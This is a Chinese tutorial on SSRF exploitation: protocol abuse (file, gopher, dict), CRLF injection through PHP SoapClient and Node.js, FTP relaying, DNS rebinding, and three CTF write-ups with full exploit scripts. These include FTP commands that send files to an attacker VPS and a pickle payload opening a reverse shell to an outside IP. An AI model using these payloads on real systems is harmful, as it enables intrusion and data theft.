网络安全漏洞挖掘之漏洞SSRF

SSRF简介

SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

如图是一个简单的SSRF

在这里插入图片描述源码如下

<?php
function curl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);
}
$url = $_GET['url'];
curl($url);

利用协议

file/local_file

利用file文件可以直接读取本地文件内容,如下

file:///etc/passwd
local_file:///etc/passwd

local_file与之类似,常用于绕过

dict

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。

如请求

dict://192.168.163.1:3306/info

在这里插入图片描述可以获取目标主机的3306端口上运行着mariadb

Gopher

Gopher是基于TCP经典的SSRF跳板协议了,原理如下

gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)

其中_可以是任意字符,作为连接符占位

一个示例

GET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

URL编码后

%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a

测试

curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8

123

所以在SSRF时利用gopher协议我们就可以构造任意TCP数据包发向内网了

利用CRLF

在HTTP的TCP包中,HTTP头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。

下图是一个示例:

在这里插入图片描述如果我们能在输入的url中注入\r\n,就可以对HTTP Headers进行修改从而控制发出的HTTP的报文内容

比如下图
在这里插入图片描述USER anonymous等就是通过CRLF注入插入的伪HTTP Header

PHP中利用Soap Client原生类

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

在PHP中该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。具体可以设置的参数可见官方文档

其中提供了一个接口

The user_agent option specifies string to use in User-Agent header.

此处本意是注入User_Agent HTTP请求头,但是此处存在CRLF注入漏洞,因此我们在此处可以完全控制HTTP请求头

利用脚本如下

<?
$headers = array(//要注入的header'X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "aaab"));

利用FTP作为跳板

FTP是基于TCP的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议
在这里插入图片描述

通过FTP传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。

在这里插入图片描述FTP协议中命令也是通过\r\n分割的 同时FTP会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用HTTP作为FTP包的载荷

同时通过使用PORT命令打开FTP主动模式,可以实现TCP流量代理转发的效果

# STEP 1 向FTP服务传TCP包
TYPE I
PORT vpsip,0,port
STOR tcp.bin# STEP 2 让FTP服务向内网发TCP包TYPE I
PORT 172,20,0,5,105,137
RETR tcp.bin

DNS Rebinding

针对SSRF,有一种经典的拦截方式

  1. 获取到输入的URL,从该URL中提取host
  2. 对该host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

第三步对IP进行了检测,避免了内网SSRF

然而不难发现此处对HOST进行了两次解析,一次是在第二步检测IP,第二次是在第四步发包。那么我们很容易有以下绕过思路

控制一个域名xxx.xxx,第一次DNS解析,xxx.xxx指向正常的ip,防止被拦截

第二次DNS解析,xxx.xxx指向127.0.0.1(或其他内网地址),在第四步中curl向第二次解析得到对应的内网地址发包实现绕过

这个过程已经有了较为完善的利用工具

例题

主要分析题目中的SSRF部分
MRCTF2020 Ezpop Revenge

目标是访问/flag.php 但限制了访问请求的来源ip必须为127.0.0.1也就是本地访问

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

此题的前半部分在于typecho pop链的构造此处就不过多赘述,直接上Exp

<?php
class HelloWorld_DB{private $flag="MRCTF{this_is_a_fake_flag}";private $coincidence;function __construct($coincidence){$this->coincidence = $coincidence;}function  __wakeup(){$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);}
}
class Typecho_Request{private $_params;private $_filter;function __construct($params,$filter){$this->_params=$params;$this->_filter=$filter;}
}
class Typecho_Feed{private $_type = 'ATOM 1.0';private $_charset = 'UTF-8';private $_lang = 'zh';private $_items = array();public function addItem(array $item){$this->_items[] = $item;}
}$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);$a = new SoapClient(null,array('location' => $target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "aaab"));$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\n";
echo urlencode(base64_encode(serialize($exp)));

其中$a为SOAP载荷,call_user_func()对SOAP对象进行了主动调用从而触发了请求。

这里关键是使用了PHP的SoapClient进行了一个SSRF

<?php
$headers = array('X-Forwarded-For: 127.0.0.1','Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,'uri'      => "aaab"));

通过CRLF注入PHPSESSION 然后访问/flag.php php将flag放入session中,我们再带着这个SESSION去访问对应网页就能获取到存储的flag了

MRCTF2021 half nosqli

这个题的前半部分在于Mongodb永真式万能密码绕过,后半部分就是SSRF

首先可以打到自己vps上看看效果
headers = {"Accept":"*/*","Authorization":"Bearer "+token,
}url_payload = "http://buptmerak.cn:2333"json = {"url":url_payload
}req = r.post(url+"home",headers=headers,json=json)print(req.text)

在这里插入图片描述

发现发送了HTTP的请求包

经过尝试该题目中存在Nodejs曾爆出的一个SSRF漏洞,即Unicode拆分攻击,可以进行CRLF注入

利用原理如下

在Node.js尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码。

而当Node.js版本8或更低版本对此URL发出GET请求时,\u{ff0a}\u{ff0d}不会进行转义,因为它们不是HTTP控制字符:

但是当结果字符串被默认编码为latin1写入路径时,这些字符将分别被截断为\x0a\x0d也即\r\n 从而实现了CRLF注入

headers = {"Accept":"*/*","Authorization":"Bearer "+token,
}url_payload = "http://buptmerak.cn:2333/"payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")url_payload = url_payload + payload_encode(payload)print(url_payload)json = {"url":url_payload
}req = r.post(url+"home",headers=headers,json=json)print(req.text)

可以看到发回的包
在这里插入图片描述已经实现了CRLF的注入,这里的payload也就是我们最终构造的FTP请求包,通过这个请求包,可以使FTP主动向我们的服务器发送上面的文件

在这里插入图片描述USER anonymous 以匿名模式登录
PASS 随意
CWD 切换文件夹
TYPE I 以binary格式传输
PORT vpsip,0,1890 打开FTP主动模式
RETR 向对应ip:port 发送文件

在vps上开一个监听端口,就能监听到发来的文件了

headers = {"Accept":"*/*","Authorization":"Bearer "+token,
}url_payload = "http://ftp:8899/" #题目附件中docker-compose.yml中泄露的内网主机名payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
'''.replace("\n","\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0xff00+ord(i))return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")url_payload = url_payload + payload_encode(payload)print(url_payload)json = {"url":url_payload
}req = r.post(url+"home",headers=headers,json=json)print(req.text)

在这里插入图片描述StarCTF2021 oh-my-bet

题目在获取头像地址处存在ssrf

def get_avatar(username):dirpath = os.path.dirname(__file__)user = User.query.filter_by(username=username).first()avatar = user.avatarif re.match('.+:.+', avatar):path = avatarelse:path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])try:content = base64.b64encode(urllib.request.urlopen(path).read())except Exception as e:error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])content = base64.b64encode(urllib.request.urlopen(error_path).read())print(e)return content
import urllib.parse
import requests
import re
import base64
import timeurl = "http://localhost:8088/login"def read_file(filename):name = "eki"+str(time.time())avatar = filenamedata = {"username":name,"password":"322","avatar":avatar,"submit":"Go!",}res = requests.post(url,data=data)txt = res.textfind = re.findall("<img src.*>",txt)if len(find) != 0:with open("out",'wb') as f:st = base64.b64decode(find[0][32:-47])f.write(st)if len(st) == 4611:print("{} not exists!".format(filename))else:print("Success!->out")else:print("Error")print(res.text)read_file("file:///app/app.py")

并且该版本的urllib.request.urlopen(path)存在CRLF注入漏洞

分析题目给出的源码,我们能得到最终的解题思路是

向FTP传输恶意流量包并存储->FTP向Mongodb发送恶意流量包插入恶意Session->Session Pickle 反序列化反弹shell
生成恶意mongdb流量包

生成恶意pickle序列化串

import pickle
import base64
import osclass RCE:def __reduce__(self):cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.154.76",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")return os.system, (cmd,)if __name__ == '__main__':pickled = pickle.dumps(RCE())print(base64.urlsafe_b64encode(pickled))open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())

生成Mongodb的BSON数据

const BSON = require('bson');
const fs = require('fs');// Serialize a document
const doc = {insert: "sessions", $db: "admin", documents: [{"id": "session:e51fca6f-1248-450c-8961-b5d1a1aaaaaa","val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),"expiration": new Date("2025-02-17")
}]};
const data = BSON.serialize(doc);let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);

攻击流程

上传到内网FTP服务器

payload = '''
TYPE I
PORT vpsip,78,32
STOR bson.bin
'''exp = 'http://172.20.0.2:8877/'exp += urllib.parse.quote(payload.replace('\n', '\r\n'))read_file(exp)

vps打开文件发送

import socketHOST = '0.0.0.0'  
PORT = 20000        
blocksize = 4096
fp = open('bson.bin', 'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.bind((HOST, PORT))print('start listen...')s.listen()conn, addr = s.accept()with conn:while 1:buf = fp.read(blocksize)if not buf:fp.close()breakconn.sendall(buf)print('end.')

内网FTP向Mongodb发送构造恶意数据包

payload = '''
TYPE I
PORT 172,20,0,5,105,137
RETR bson.bin
'''exp = 'http://172.20.0.2:8877/'exp += urllib.parse.quote(payload.replace('\n', '\r\n'))read_file(exp)

最终触发

import requestsurl = "http://localhost:8088/"cookie = {"session":"e51fca6f-1148-450c-8961-b5d1aaaaaaaa"
}req = requests.get(url,cookie=cookie)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/491814.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

33. Three.js案例-创建带阴影的球体与平面

33. Three.js案例-创建带阴影的球体与平面 实现效果 知识点 WebGLRenderer (WebGL渲染器) WebGLRenderer 是 Three.js 中用于渲染 3D 场景的核心类。它负责将场景中的对象绘制到画布上。 构造器 new THREE.WebGLRenderer(parameters)参数类型描述parametersObject可选参数…

Go有限状态机实现和实战

Go有限状态机实现和实战 有限状态机 什么是状态机 有限状态机&#xff08;Finite State Machine, FSM&#xff09;是一种用于建模系统行为的计算模型&#xff0c;它包含有限数量的状态&#xff0c;并通过事件或条件实现状态之间的转换。FSM的状态数量是有限的&#xff0c;因此称…

iPhone恢复技巧:如何从 iPhone 恢复丢失的照片

在计算机时代&#xff0c;我们依靠手机来捕捉和存储珍贵的回忆。但是&#xff0c;如果您不小心删除或丢失了手机上的照片怎么办&#xff1f;这真的很令人沮丧和烦恼&#xff0c;不是吗&#xff1f;好吧&#xff0c;如果您在 iPhone 上丢失了照片&#xff0c;您不必担心&#xf…

Linux高性能服务器编程 | 读书笔记 | 6. 高性能服务器程序框架

6. 高性能服务器程序框架 《Linux 高性能服务器编程》一书中&#xff0c;把这一章节作为全书的核心&#xff0c;同时作为后续章节的总览。这也意味着我们在经历了前置知识的学习后&#xff0c;正式进入了 Web 服务器项目的核心部分的学习 文章目录 6. 高性能服务器程序框架1.服…

前端的知识(部分)

11 前端的编写步骤 第一步:在HTML的页面中声明方法 第二步:在<script>中定义一个函数,其中声明一个data来为需要的数据 赋值一个初始值 第三步:编写这个方法实现对应的功能

Xcode

info.plist Appearance Light 关闭黑暗模式 Bundle display name 设置app名称&#xff0c;默认为工程名 Location When In Use Usage Description 定位权限一共有3个key 1.Privacy - Location When In Use Usage Description 2.Privacy - Location Always and When In U…

C# 中的Task

文章目录 前言一、Task 的基本概念二、创建 Task使用异步方法使用 Task.Run 方法 三、等待 Task 完成使用 await 关键字使用 Task.Wait 方法 四、处理 Task 的异常使用 try-catch 块使用 Task.Exception 属性 五、Task 的延续使用 ContinueWith 方法使用 await 关键字和异步方法…

【Java 学习】:内部类详解

详谈Java内部类 &#x1f4c3;&#x1f4c3;本文将通过Java内部类 是什么&#xff0c;为什么被广泛使用&#xff0c;以及又该如何去使用这三个方面来详细讲解其相关知识。 文章目录 1. 内部类是什么 2. 为什么要使用内部类 3. 如何使用内部类 &#x1f349;成员内部类 &…

如何解决samba服务器共享文件夹不能粘贴文件

sudo vim /etc/samba/smb.conf在samba的配置文件中增加一个选项 writable yes重启Samba服务以使更改生效&#xff1a; sudo service smbd restart

PyTorch3D 可视化

PyTorch3D是非常好用的3D工具库。但是PyTorch3D对于可用于debug&#xff08;例如调整cameras参数&#xff09;的可视化工具并没有进行系统的介绍。这篇文章主要是想介绍我觉得非常使用的PyTorch3D可视化工具。 1. 新建一个Mesh 从hugging face上下载一个glb文件&#xff0c;例…

RabbitMQ的核心组件有哪些?

大家好&#xff0c;我是锋哥。今天分享关于【RabbitMQ的核心组件有哪些&#xff1f;】面试题。希望对大家有帮助&#xff1b; RabbitMQ的核心组件有哪些&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 RabbitMQ是一个开源的消息代理&#xff08;Messag…

SM4笔记整理

文章目录 1. 介绍2. 算法定义3. 迭代运算3.1 轮函数F3.2 合成置换T 4. SM4秘钥生成4.1 具体步骤4.2 系统参数FK4.2 固定参数CK 5. 参考资料 以下内容为信息安全开发过程中&#xff0c;SM4对称加密算法的笔记。 对称加密算法汇总介绍&#xff1a;对称加密算法和模式 1. 介绍 …

如何使用Git or SVN--可视化工具

不会吧 现在还有人不会Git可视化工具 &#xff0c;作为一个从命令行转为可视化的开发者&#xff0c;深知这个可视化工具的重要性&#xff0c;之前在命令行去维护我们的工程是一个很头疼的事情 &#xff0c;后面也就有了可视化工具&#xff0c;市面上的工具的教程都不是很详细哥…

基于Clinical BERT的医疗知识图谱自动化构建方法,双层对比框架

基于Clinical BERT的医疗知识图谱自动化构建方法&#xff0c;双层对比框架 论文大纲理解1. 确认目标2. 目标-手段分析3. 实现步骤4. 金手指分析 全流程核心模式核心模式提取压缩后的系统描述核心创新点 数据分析第一步&#xff1a;数据收集第二步&#xff1a;规律挖掘第三步&am…

《Time Ghost》的制作:使用 DOTS ECS 制作更为复杂的大型环境

*基于 Unity 6 引擎制作的 demo 《Time Ghost》 开始《Time Ghost》项目时的目标之一是提升在 Unity 中构建大型户外环境的构建标准。为了实现这一目标&#xff0c;我们要有处理更为复杂的场景的能力、有足够的工具支持&#xff0c;同时它对引擎的核心图形、光照、后处理、渲染…

华为大数据_unittest单元测试框架解析与应用

一、引言 随着软件开发的复杂度日益增加&#xff0c;单元测试在软件质量保证体系中扮演着越来越重要的角色。unittest作为Python的标准单元测试框架&#xff0c;以其简单、易用和强大的特性&#xff0c;受到了广大开发者的青睐。本文旨在深入解析unittest框架的核心原理&#…

修改uniapp下拉刷新圆圈颜色

直接看图 修改前就是常规的绿色 自定义更符合我们的软件 直接说方法 修改 在App.vue的style样式里添加一行 .uni-page-refresh--refreshing .uni-page-refresh__path{stroke:#FF2442; }我是通过 不执行 uni.stopPullDownRefresh(); 下拉刷新 之后通过F12看出来的 希望可以帮…

大屏开源项目go-view二次开发3----象形柱图控件(C#)

环境搭建参考&#xff1a; 大屏开源项目go-view二次开发1----环境搭建(C#)-CSDN博客 要做的象形柱图控件最终效果如下图&#xff1a; 其实这个控件我前面的文章也介绍过&#xff0c;不过是用wpf做的&#xff0c;链接如下&#xff1a; wpf利用Microsoft.Web.WebView2显示html…

MAC虚拟机上安装WDA环境

MAC虚拟机上安装WDA环境 一、MAC虚拟机切换root权限二、macOS上安装xcode若你的macOS系统可以在appstore下载安装若你安装的macOS系统版本太低&#xff0c;无法在appstore上安装xcode 三、macOS上安装WebDriverAgent四、使用xcode配置WDA安装到手机上高版本系统支持 一、MAC虚拟…

解决 Git Permission denied 问题

前言 push项目时出现gitgithub.com: Permission denied (publickey). fatal: Could not read from remote repository.Please make sure you have the correct access rights and the repository exists.出现这个问题表示你在尝试将本地代码推送到GitHub时&#xff0c;没有提供…